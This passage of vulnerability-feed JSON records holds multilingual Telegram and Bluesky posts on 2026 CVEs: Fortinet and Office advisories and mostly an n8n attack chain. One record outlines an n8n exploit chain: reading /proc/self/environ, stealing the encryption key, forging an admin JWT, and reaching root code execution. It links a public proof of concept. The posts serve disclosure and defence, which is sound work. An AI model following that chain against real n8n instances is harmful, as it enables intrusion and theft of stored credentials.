\u06a9\u0646\u062f.\n\nBDU:2026-01492\nCVE-2026-21643\n\n\u0646\u0635\u0628 \u0628\u0647\u200c\u0631\u0648\u0632\u0631\u0633\u0627\u0646\u06cc\u200c\u0647\u0627 \u0627\u0632 \u0645\u0646\u0627\u0628\u0639 \u0645\u0639\u062a\u0628\u0631.  \u062a\u0648\u0635\u06cc\u0647 \u0645\u06cc\u200c\u0634\u0648\u062f \u0628\u0647\u200c\u0631\u0648\u0632\u0631\u0633\u0627\u0646\u06cc\u200c\u0647\u0627\u06cc \u0646\u0631\u0645\u200c\u0627\u0641\u0632\u0627\u0631\u06cc \u062a\u0646\u0647\u0627 \u067e\u0633 \u0627\u0632 \u0627\u0631\u0632\u06cc\u0627\u0628\u06cc \u062a\u0645\u0627\u0645\u06cc \u0631\u06cc\u0633\u06a9\u200c\u0647\u0627\u06cc \u0645\u0631\u062a\u0628\u0637 \u0646\u0635\u0628 \u0634\u0648\u0646\u062f.\n\n\u0627\u0642\u062f\u0627\u0645\u0627\u062a \u062c\u0628\u0631\u0627\u0646\u06cc:\n- \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u0627\u0628\u0632\u0627\u0631\u0647\u0627\u06cc \u0641\u0627\u06cc\u0631\u0648\u0627\u0644 \u0628\u0631\u0646\u0627\u0645\u0647\u200c\u0647\u0627\u06cc \u0648\u0628 (WAF) \u0628\u0631\u0627\u06cc \u0641\u06cc\u0644\u062a\u0631 \u06a9\u0631\u062f\u0646 \u062a\u0631\u0627\u0641\u06cc\u06a9 \u0634\u0628\u06a9\u0647\u061b\n- \u0645\u062d\u062f\u0648\u062f \u06a9\u0631\u062f\u0646 \u062f\u0633\u062a\u0631\u0633\u06cc \u0628\u0647 \u0631\u0627\u0628\u0637 \u0648\u0628 \u0645\u062f\u06cc\u0631\u06cc\u062a \u0646\u0631\u0645\u200c\u0627\u0641\u0632\u0627\u0631 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631 \u0628\u0627 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u0637\u0631\u062d \u062f\u0633\u062a\u0631\u0633\u06cc \u0628\u0631 \u0627\u0633\u0627\u0633 \u00ab\u0641\u0647\u0631\u0633\u062a\u200c\u0647\u0627\u06cc \u0633\u0641\u06cc\u062f\u00bb\u061b\n- \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u0633\u06cc\u0633\u062a\u0645\u200c\u0647\u0627\u06cc \u062a\u0634\u062e\u06cc\u0635 \u0648 \u067e\u06cc\u0634\u06af\u06cc\u0631\u06cc \u0627\u0632 \u0646\u0641\u0648\u0630 \u0628\u0631\u0627\u06cc \u0634\u0646\u0627\u0633\u0627\u06cc\u06cc (\u06a9\u0634\u0641\u060c \u062b\u0628\u062a) \u0648 \u0648\u0627\u06a9\u0646\u0634 \u0628\u0647 \u062a\u0644\u0627\u0634\u200c\u0647\u0627\u06cc \u0628\u0647\u0631\u0647\u200c\u0628\u0631\u062f\u0627\u0631\u06cc \u0627\u0632 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc\u200c\u0647\u0627\u061b\n- \u0645\u062d\u062f\u0648\u062f \u06a9\u0631\u062f\u0646 \u062f\u0633\u062a\u0631\u0633\u06cc \u0627\u0632 \u0634\u0628\u06a9\u0647\u200c\u0647\u0627\u06cc \u062e\u0627\u0631\u062c\u06cc (\u0627\u06cc\u0646\u062a\u0631\u0646\u062a)\u061b\n- \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u0634\u0628\u06a9\u0647\u200c\u0647\u0627\u06cc \u062e\u0635\u0648\u0635\u06cc \u0645\u062c\u0627\u0632\u06cc \u0628\u0631\u0627\u06cc \u0633\u0627\u0632\u0645\u0627\u0646\u062f\u0647\u06cc \u062f\u0633\u062a\u0631\u0633\u06cc \u0627\u0632 \u0631\u0627\u0647 \u062f\u0648\u0631 (VPN).\n\n\u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u062a\u0648\u0635\u06cc\u0647\u200c\u0647\u0627:\nhttps://fortiguard.fortinet.com/psirt/FG-IR-25-1142\n\n\ud83d\udca1\u0627\u06af\u0631 \u0627\u06cc\u0646 \u0645\u062a\u0646 \u062f\u06cc\u062f\u06af\u0627\u0647 \u0634\u0645\u0627 \u0631\u0627 \u062a\u063a\u06cc\u06cc\u0631 \u062f\u0627\u062f\u060c \u0628\u0627\u0630\u06a9\u0631 \u0645\u0646\u0628\u0639 \u0628\u0647 \u0627\u0634\u062a\u0631\u0627\u06a9 \u0628\u06af\u0630\u0627\u0631\u06cc\u062f. \n\ud83c\udfed  \u06a9\u0627\u0646\u0627\u0644 \u062a\u062e\u0635\u0635\u06cc \u0627\u0645\u0646\u06cc\u062a \u0632\u06cc\u0631\u0633\u0627\u062e\u062a\u0647\u0627\u06cc \u0627\u062a\u0648\u0645\u0627\u0633\u06cc\u0648\u0646 \u0648 \u06a9\u0646\u062a\u0631\u0644 \u0635\u0646\u0639\u062a\u06cc\n@pedram_kiani\n\u06a9\u0627\u0646\u0627\u0644 \u062a\u0644\u06af\u0631\u0627\u0645:\nhttps://t.me/ics_cert\n\u06af\u0631\u0648\u0647 \u062a\u0644\u06af\u0631\u0627\u0645 :\nhttps://t.me/ICSCERT_IR\n\u0627\u06cc\u062a\u0627:\nhttps://eitaa.com/joinchat/1866007784Cfd023f90b2\n\u06af\u0631\u0648\u0647 \u062a\u062e\u0635\u0635\u06cc \u0648\u0627\u062a\u0633 \u0627\u067e:\nhttps://chat.whatsapp.com/BZu1yr1aeHpCDxiIXotzyW?mode=ac_t\n\u0628\u0647 \u0627\u0646\u062c\u0645\u0646 \u062a\u062e\u0635\u0635\u06cc AI.Sec :\nhttps://chat.whatsapp.com/KRPUA6WM4f6AdS727vRBmM?mode=ems_copy_t\n\u06a9\u0627\u0646\u0627\u0644 \u0628\u0644\u0647\nhttps://ble.ir/otsec", "creation_timestamp": "2026-02-13T16:03:28.000000Z"}, {"uuid": "9961f6f6-39e2-44eb-a733-4c86088d7ce0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21858", "type": "published-proof-of-concept", "source": "https://t.me/cKure/15856", "content": "\u25a0\u25a0\u25a0\u25a0\u25a0 CVE-2026-21858 + CVE-2025-68613: n8n Ni8mare - Full Chain Exploit\n\nUnauthenticated to Root RCE:\n- LFI via Content-Type confusion\n- Read /proc/self/environ to find HOME\n- Steal encryption key + database\n- Forge admin JWT token\n- Expression injection sandbox bypass\n- RCE as root\n\nCVSS 10.0\n\nhttps://github.com/Chocapikk/CVE-2026-21858", "creation_timestamp": "2026-01-08T19:06:31.000000Z"}, {"uuid": "f8b34d47-1fa7-4d3f-8351-187148cbc9a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21858", "type": "published-proof-of-concept", "source": "https://t.me/haccking/12691", "content": "Ni8mare (CVE-2026-21858): \u043a\u0430\u043a \u043e\u0434\u0438\u043d HTTP-\u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a \u043f\u0440\u0438\u0432\u0451\u043b \u043a \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 n8n\n\n#\u0441\u0442\u0430\u0442\u044c\u044f #\u043f\u0435\u0440\u0435\u0432\u043e\u0434 #bugbounty\n\n\u0412 \u043d\u0430\u0447\u0430\u043b\u0435 2026 \u0433\u043e\u0434\u0430 \u0431\u044b\u043b\u0430 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 n8n. \u0418\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440: CVE-2026-21858 CVSS v.3.1: 10.0. \u0418\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u0430 \u0437\u0434\u0435\u0441\u044c \u043d\u0435 \u0441\u0442\u043e\u043b\u044c\u043a\u043e \u043e\u0446\u0435\u043d\u043a\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u043d\u043e\u0441\u0442\u0438, \u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0441\u0430\u043c\u0430 \u043f\u0440\u0438\u0447\u0438\u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0438 \u043a\u0430\u043a \u0435\u0451 \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c. \u0412\u0441\u0451 \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442\u0441\u044f \u0441 \u043e\u0431\u044b\u0447\u043d\u043e\u0433\u043e HTTP-\u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0430 Content-Type\u2026\n\n\u0421\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u0441\u0442\u0430\u0442\u044c\u044e\n\nLH | News | OSINT | AI", "creation_timestamp": "2026-03-06T17:04:07.000000Z"}, {"uuid": "fa376240-0d8f-4418-8364-4ac154f2cc71", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21509", "type": "exploited", "source": "https://t.me/Tim_Mafia_Hackers_lslami/4098", "content": "\ud83d\udea8 \u062a\u0646\u0628\u064a\u0647 \u0623\u0645\u0646\u064a \u0639\u0627\u062c\u0644 | \u062b\u063a\u0631\u0629 Zero-Day \u0641\u064a Microsoft Office\n\ud83d\udd34 \u0627\u0644\u0645\u0639\u0631\u0641: CVE-2026-21509\n\u26a0\ufe0f \u0627\u0644\u062a\u0635\u0646\u064a\u0641: \u062e\u0637\u064a\u0631\u0629 \u062c\u062f\u0627\u064b (High Severity)\n\ud83d\udd25 \u0627\u0644\u062d\u0627\u0644\u0629: \u064a\u062a\u0645 \u0627\u0633\u062a\u063a\u0644\u0627\u0644\u0647\u0627 \u0628\u0646\u0634\u0627\u0637 \u062d\u0627\u0644\u064a\u0627\u064b (Actively Exploited)\n\ud83d\udcdd \u0627\u0644\u0648\u0635\u0641:\n\u062b\u063a\u0631\u0629 \u062a\u0633\u0645\u062d \u0644\u0644\u0645\u0647\u0627\u062c\u0645\u064a\u0646 \u0628\u062a\u062c\u0627\u0648\u0632 \u062d\u0645\u0627\u064a\u0629 \u0627\u0644\u0623\u0648\u0641\u064a\u0633 \u0648\u062a\u0634\u063a\u064a\u0644 \u0628\u0631\u0645\u062c\u064a\u0627\u062a \u062e\u0628\u064a\u062b\u0629 \u0628\u0645\u062c\u0631\u062f \u0641\u062a\u062d \u0645\u0644\u0641 (Word/Excel) \u0645\u0644\u063a\u0651\u0645.\n\ud83d\udcbb \u0627\u0644\u0623\u0646\u0638\u0645\u0629 \u0627\u0644\u0645\u062a\u0623\u062b\u0631\u0629:\n\u0645\u0639\u0638\u0645 \u0625\u0635\u062f\u0627\u0631\u0627\u062a Office (2016, 2019, LTSC, 365).\n\ud83d\udee1\ufe0f \u0627\u0644\u062d\u0644 \u0627\u0644\u0641\u0648\u0631\u064a:\n\u0645\u0627\u064a\u0643\u0631\u0648\u0633\u0648\u0641\u062a \u0623\u0635\u062f\u0631\u062a \u062a\u062d\u062f\u064a\u062b\u0627\u064b \u0637\u0627\u0631\u0626\u0627\u064b \u0628\u062a\u0627\u0631\u064a\u062e 27 \u064a\u0646\u0627\u064a\u0631.\n\u2705 \u062d\u062f\u062b \u0646\u0633\u062e\u062a\u0643 \u0641\u0648\u0631\u0627\u064b (File > Account > Update Options > Update Now).", "creation_timestamp": "2026-02-09T18:53:06.000000Z"}, {"uuid": "c1dddafe-7e0e-4eef-b37d-f77a254e3d6b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21683", "type": "seen", "source": "https://bsky.app/profile/theresidentmachine.bsky.social/post/3mkmd5ri3h52u", "content": "", "creation_timestamp": "2026-04-29T05:04:15.959455Z"}, {"uuid": "e48697b1-ae95-4e34-9b25-dc2cab9fc452", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-21643", "type": "seen", "source": "https://bsky.app/profile/cyberveille-ch.bsky.social/post/3mkivy3b6n32p", "content": "", "creation_timestamp": "2026-04-27T20:30:26.673646Z"}, {"uuid": "f0742732-e44b-4963-a2e0-c21d35b22fcb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21515", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mkixzo3wpw2q", "content": "", "creation_timestamp": "2026-04-27T21:07:08.737951Z"}, {"uuid": "cc783a60-5e5c-4f4c-bc93-716f2c078ac7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21876", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mkiyyd2csc23", "content": "", "creation_timestamp": "2026-04-27T21:24:18.008094Z"}, {"uuid": "581b2f6b-0aff-458e-b74b-825e1c0c069c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21510", "type": "seen", "source": "https://bsky.app/profile/hendryadrian.bsky.social/post/3mkn5r6q3sw2a", "content": "CISA mandates federal agencies to patch a Windows zero-click vulnerability CVE-2026-32202 by May 12 under BOD 22-01. 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{"uuid": "91d10f44-6ef9-4a06-a232-15b747d9908c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21858", "type": "seen", "source": "https://t.me/bin_z0ne/440", "content": "", "creation_timestamp": "2026-07-25T03:00:03.465443Z"}, {"uuid": "09c5997f-ce46-45cf-ac0f-580bfc1d1840", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21858", "type": "seen", "source": "Telegram/x22sgVl6GypPYOXXHn-wHtqct96K99W9IXpSyw6N9xLrkNY", "content": "", "creation_timestamp": "2026-07-30T15:00:05.207402Z"}, {"uuid": "9dc5e3a8-d4cd-42ff-8483-23b9f72ba507", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21643", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-04-29)", "content": "", "creation_timestamp": "2026-04-29T00:00:00.000000Z"}, {"uuid": "88bcc708-5274-4496-b487-5f118dba8d8f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21891", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-04-29)", "content": "", "creation_timestamp": "2026-04-29T00:00:00.000000Z"}, {"uuid": "0a519672-b9ac-438f-8de5-a16a368da924", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21643", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-04-29)", "content": "", "creation_timestamp": "2026-04-29T00:00:00.000000Z"}, {"uuid": "1969c71c-f2f0-4edb-b588-88bc637b808b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21858", "type": "seen", "source": "https://t.me/cyberok_news/173", "content": "\ud83c\udf84 \u0420\u043e\u0436\u0434\u0435\u0441\u0442\u0432\u0435\u043d\u0441\u043a\u0438\u0439 Ni8mare\n\n\u041f\u043e\u043a\u0430 \u0432\u0441\u0435 \u0434\u043e\u043f\u0438\u0432\u0430\u044e\u0442 \u0433\u043b\u0438\u043d\u0442\u0432\u0435\u0439\u043d, \u0443 n8n \u2014 \u0441\u0432\u043e\u044f \u0440\u043e\u0436\u0434\u0435\u0441\u0442\u0432\u0435\u043d\u0441\u043a\u0430\u044f \u0441\u043a\u0430\u0437\u043a\u0430: \u0446\u0435\u043f\u043e\u0447\u043a\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043d\u0430\u0447\u0438\u043d\u0430\u044e\u0442\u0441\u044f \u0441 \u0447\u0442\u0435\u043d\u0438\u044f \u0444\u0430\u0439\u043b\u043e\u0432, \u0430 \u0437\u0430\u043a\u0430\u043d\u0447\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u0437\u0430\u0445\u0432\u0430\u0442\u043e\u043c \u0438\u043d\u0441\u0442\u0430\u043d\u0441\u0430. \n\n\ud83d\udcca \u041c\u0430\u0441\u0448\u0442\u0430\u0431 \n\u0421\u041a\u0418\u041f\u0410 \u0444\u0438\u043a\u0441\u0438\u0440\u0443\u0435\u0442 \u0447\u0443\u0442\u044c \u043c\u0435\u043d\u0435\u0435 9000 \u0430\u043a\u0442\u0438\u0432\u043d\u044b\u0445 n8n \u0432 \u0420\u0443\u043d\u0435\u0442\u0435. \u041f\u043e \u043e\u0446\u0435\u043d\u043a\u0435 CyberOK, \u043e\u043a\u043e\u043b\u043e 70% \u2014 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u044b  \u0438\u0437-\u0437\u0430 \u0432\u0435\u0440\u0441\u0438\u0439 \u0438/\u0438\u043b\u0438 \u044d\u043a\u0441\u043f\u043e\u0437\u0438\u0446\u0438\u0438 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u044b\u0445 webhook/form/endpoint-\u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0435\u0432.\n\n\ud83e\udde9 \u0426\u0435\u043f\u043e\u0447\u043a\u0430 \u0430\u0442\u0430\u043a \n\u042d\u0442\u043e \u043d\u0435 \u00ab\u043e\u0434\u0438\u043d \u0431\u0430\u0433\u00bb, \u0430 \u043d\u0430\u0431\u043e\u0440 \u043f\u0443\u0442\u0435\u0439-\u0434\u043e\u0440\u043e\u0436\u0435\u043a, \u0433\u0434\u0435 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u0432\u044b\u0431\u0438\u0440\u0430\u0435\u0442 \u043c\u0430\u0440\u0448\u0440\u0443\u0442 \u0432 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0438 \u043e\u0442 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \u0438 \u0432\u043a\u043b\u044e\u0447\u0451\u043d\u043d\u044b\u0445 \u043d\u043e\u0434.\n\n1. CVE-2026-21858 \u2014 Arbitrary File Read (AFR)\n   \u0423\u0434\u0430\u043b\u0451\u043d\u043d\u043e\u0435 \u0447\u0442\u0435\u043d\u0438\u0435 \u0444\u0430\u0439\u043b\u043e\u0432. \u041e\u0442\u043b\u0438\u0447\u043d\u0430\u044f \u0442\u043e\u0447\u043a\u0430 \u0432\u0445\u043e\u0434\u0430: \u0441\u0435\u043a\u0440\u0435\u0442\u044b, \u0442\u043e\u043a\u0435\u043d\u044b, \u043e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u0435, \u043a\u043e\u043d\u0444\u0438\u0433\u0438.\n\n2. CVE-2026-21858 (AFR) + CVE-2025-68613 (RCE)\n   \u0415\u0441\u043b\u0438 \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u0432\u044b\u0442\u0430\u0449\u0438\u0442\u044c \u043d\u0443\u0436\u043d\u044b\u0435 \u0441\u0435\u043a\u0440\u0435\u0442\u044b/\u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442 \u2014 \u0434\u0430\u043b\u044c\u0448\u0435 \u043c\u043e\u0436\u043d\u043e \u043f\u0435\u0440\u0435\u0439\u0442\u0438 \u043a \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e\u043c\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043a\u043e\u0434\u0430.\n\n3. Pyodide Sandbox Escape \u2014 CVE-2025-68668 (\u043d\u0443\u0436\u0435\u043d Python Code Node)\n   \u0421\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043c\u0430\u0440\u0448\u0440\u0443\u0442: \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u0442\u0430\u043c, \u0433\u0434\u0435 \u0440\u0435\u0430\u043b\u044c\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f Python Code Node. \u0417\u0430\u0442\u043e \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b \u0443 \u0438\u0441\u0442\u043e\u0440\u0438\u0438 \u043d\u0435\u043f\u0440\u0438\u044f\u0442\u043d\u044b\u0439.\n\n4. Expression Injection \u2014 CVE-2025-68613 (\u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u043d\u0430 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0445 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430\u0445)\n   \u0421\u0430\u043c\u044b\u0439 \u201c\u043f\u0440\u0430\u043a\u0442\u0438\u0447\u043d\u044b\u0439\u201d \u0432\u0430\u0440\u0438\u0430\u043d\u0442 \u0434\u043b\u044f \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0435\u0433\u043e: \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u0440\u0435\u0434\u043a\u0438\u0445 \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043a \u0438 \u0447\u0430\u0449\u0435 \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u0435\u0442\u0441\u044f \u0432 \u043f\u0440\u043e\u0434\u0435.\n\n\ud83e\udde0 \u041f\u043e\u0447\u0435\u043c\u0443 \u044d\u0442\u043e \u043e\u043f\u0430\u0441\u043d\u043e\n\u2014 n8n - \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442 \u0434\u043b\u044f \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0430\u0446\u0438\u0438 \u0437\u0430\u0434\u0430\u0447 \u043c\u0435\u0436\u0434\u0443 \u0441\u0435\u0440\u0432\u0438\u0441\u0430\u043c\u0438, \u0447\u0430\u0441\u0442\u043e \u0436\u0438\u0432\u0451\u0442 \u043a\u0430\u043a \u201c\u0438\u043d\u0442\u0435\u0433\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0439 \u043a\u043b\u0435\u0439\u201d \u0438 \u0434\u0435\u0440\u0436\u0438\u0442 \u0434\u043e\u0441\u0442\u0443\u043f\u044b \u043a\u043e \u0432\u0441\u0435\u043c\u0443: API-\u043a\u043b\u044e\u0447\u0438, \u0442\u043e\u043a\u0435\u043d\u044b, \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0437\u0430\u043f\u0438\u0441\u0438, webhook-\u0441\u0435\u043a\u0440\u0435\u0442\u044b.\n\u2014 AFR \u0431\u044b\u0441\u0442\u0440\u043e \u043f\u0440\u0435\u0432\u0440\u0430\u0449\u0430\u0435\u0442\u0441\u044f \u0432 \u201c\u0434\u043e\u0441\u0442\u0430\u043d\u044c \u0441\u0435\u043a\u0440\u0435\u0442 \u2192 \u0440\u0430\u0441\u0448\u0438\u0440\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u2192 \u0437\u0430\u043a\u0440\u0435\u043f\u0438\u0441\u044c\u201d.\n\u2014 Expression Injection \u043d\u0430 \u0434\u0435\u0444\u043e\u043b\u0442\u043d\u044b\u0445 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430\u0445 \u0441\u043d\u0438\u0436\u0430\u0435\u0442 \u043f\u043e\u0440\u043e\u0433 \u0432\u0445\u043e\u0434\u0430 \u0438 \u043f\u043e\u0432\u044b\u0448\u0430\u0435\u0442 \u0448\u0430\u043d\u0441 \u043c\u0430\u0441\u0441\u043e\u0432\u044b\u0445 \u0437\u043b\u043e\u0443\u043f\u043e\u0442\u0440\u0435\u0431\u043b\u0435\u043d\u0438\u0439.\n\n\ud83d\udee1 \u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438\n1. \u0421\u0440\u043e\u0447\u043d\u043e \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c n8n \u0434\u043e \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u0432\u0435\u0440\u0441\u0438\u0439 (\u043c\u0438\u043d\u0438\u043c\u0443\u043c \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u044e\u0449\u0438\u0445 \u0446\u0435\u043f\u043e\u0447\u043a\u0443) \u0438 \u043f\u0435\u0440\u0435\u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u0440\u0435\u043b\u0438\u0437-\u043d\u043e\u0442\u044b \u043f\u043e \u0432\u0441\u0435\u043c CVE \u0432 \u0446\u0435\u043f\u043e\u0447\u043a\u0435.\n2. \u0423\u0431\u0440\u0430\u0442\u044c n8n \u0438\u0437 \u043f\u0440\u044f\u043c\u043e\u0439 \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442-\u044d\u043a\u0441\u043f\u043e\u0437\u0438\u0446\u0438\u0438: VPN/allowlist/SSO, \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439 \u043f\u0435\u0440\u0438\u043c\u0435\u0442\u0440, \u043c\u0438\u043d\u0438\u043c\u0438\u0437\u0430\u0446\u0438\u044f \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u044b\u0445 \u044d\u043d\u0434\u043f\u043e\u0439\u043d\u0442\u043e\u0432.\n3. \u041f\u0440\u043e\u0432\u0435\u0441\u0442\u0438 \u0440\u0435\u0432\u0438\u0437\u0438\u044e \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u044b\u0445 webhook/forms: \u043a\u0430\u043a\u0438\u0435 \u0440\u0435\u0430\u043b\u044c\u043d\u043e \u043d\u0443\u0436\u043d\u044b, \u043a\u0430\u043a\u0438\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b \u0431\u0435\u0437 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u0438, \u0433\u0434\u0435 \u0445\u0440\u0430\u043d\u044f\u0442\u0441\u044f \u0441\u0435\u043a\u0440\u0435\u0442\u044b.\n4. \u0420\u043e\u0442\u0430\u0446\u0438\u044f \u0441\u0435\u043a\u0440\u0435\u0442\u043e\u0432 \u043f\u043e\u0441\u043b\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f: \u0435\u0441\u043b\u0438 \u0438\u043d\u0441\u0442\u0430\u043d\u0441 \u043c\u043e\u0433 \u0431\u044b\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f\u0435\u043d \u0438\u0437\u0432\u043d\u0435 \u2014 \u0441\u0447\u0438\u0442\u0430\u0442\u044c \u0442\u043e\u043a\u0435\u043d\u044b/\u043a\u043b\u044e\u0447\u0438 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c\u0438.\n5. \u0414\u043b\u044f SOC: \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u0434\u0435\u0442\u0435\u043a\u0442\u044b \u043d\u0430 \u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u044f \u043a \u0441\u043b\u0443\u0436\u0435\u0431\u043d\u044b\u043c \u044d\u043d\u0434\u043f\u043e\u0439\u043d\u0442\u0430\u043c \u0438 \u0430\u043d\u043e\u043c\u0430\u043b\u044c\u043d\u044b\u0435 \u0432\u044b\u0437\u043e\u0432\u044b workflow (\u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e \u0432\u043e\u043a\u0440\u0443\u0433 \u0444\u043e\u0440\u043c/\u0432\u0435\u0431\u0445\u0443\u043a\u043e\u0432).\n\n\u23f1\ufe0f \u0422\u0430\u0439\u043c\u043b\u0430\u0439\u043d \u0441\u0438\u0433\u043d\u0430\u043b\u043e\u0432\n\u2022 2025-11-18 \u2014 VENDOR_FIX_RELEASED\n\u0412\u044b\u0448\u043b\u0430 n8n 1.121.0 \u2014 \u0432\u0435\u0440\u0441\u0438\u044f \u0441 